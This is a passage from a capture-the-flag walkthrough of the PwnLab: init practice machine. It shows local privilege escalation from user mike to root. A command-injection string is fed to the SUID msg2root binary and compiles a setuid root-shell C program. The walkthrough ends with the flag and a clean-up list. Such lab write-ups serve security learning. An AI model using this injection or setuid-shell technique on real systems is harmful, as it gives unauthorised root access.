...then run msgmike again.
kane@pwnlab:~$ ./msgmike
mike@pwnlab:~$ id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
And now we're mike! 😄 Hopefully that trouble will prove to be worth it.
Let's go see what is in mike's home directory.
mike@pwnlab:~$ cd /home/mike
mike@pwnlab:/home/mike$ ls -laF
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 2016 ./
drwxr-xr-x 6 root root 4096 Mar 17 2016 ../
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root*
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
Nice! We have a new SUID binary, this time for root. Let's run strings on it and try to see what this one does.
mike@pwnlab:/home/mike$ strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
[...snip...]
Looks like this one takes a message from the user and then prints it to /root/messages.txt. The path to echo is fully qualified (so we can't pull off the same trick as before), but we can probably abuse the input string. Since we used a fancy C program to "be like mike", let's use a fancy C program to get root. We'll drop our C code in /tmp.
NOTE: To cat the file below, I had to fix my PATH so the version of cat in /home/kane wasn't the first choice.
mike@pwnlab:/tmp$ cat getroot.c
#include <unistd.h>
main( int argc, char ** argv, char ** envp )
{
setgid(0);
setuid(0);
system("/bin/bash", argv, envp);
return 0;
}
Now we'll run msg2root and pass the following input string.
test; gcc -o /tmp/getroot /tmp/getroot.c; chmod 4777 /tmp/getroot; /bin/echo test2
Running it...
mike@pwnlab:/home/mike$ ./msg2root
Message for root: test; gcc -o /tmp/getroot /tmp/getroot.c; chmod 4777 /tmp/getroot; /bin/echo test2
...then checking /tmp, we have the following file...
-rwsrwxrwx 1 root root 5140 May 21 11:30 getroot
Let's run it.
mike@pwnlab:/tmp$ ./getroot
root@pwnlab:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1003(kane)
Nice! We started as kane, abused one SUID binary to become mike and abused another to become root.
Let's get that flag.
root@pwnlab:/tmp# cd /root
root@pwnlab:/root# cat flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-' `-._.-'
Pivoting
N/A
Clean Up
*** REMOVE image uploads in /var/www/html/upload (symbolic link to /tmp) ***
*** REMOVE /home/kane/likemike.c ***
*** REMOVE /home/kane/cat ***
*** REMOVE /tmp/getroot.c ***
*** REMOVE /tmp/getroot ***